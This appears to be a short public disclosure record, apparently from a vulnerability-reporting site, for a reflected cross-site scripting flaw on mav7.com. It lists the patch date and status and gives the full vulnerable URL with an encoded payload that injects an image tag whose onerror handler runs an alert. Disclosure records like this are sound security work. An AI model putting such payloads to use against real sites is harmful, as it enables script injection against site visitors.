mav7.com XSS vulnerability

Vulnerable URL: http://www.mav7.com/?s=%27%3Cimg+src%3Dfoo.png+onerror%3Dalert%28%2FXSSPOSED%2F%29+%2F%3E+++%27%2C Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...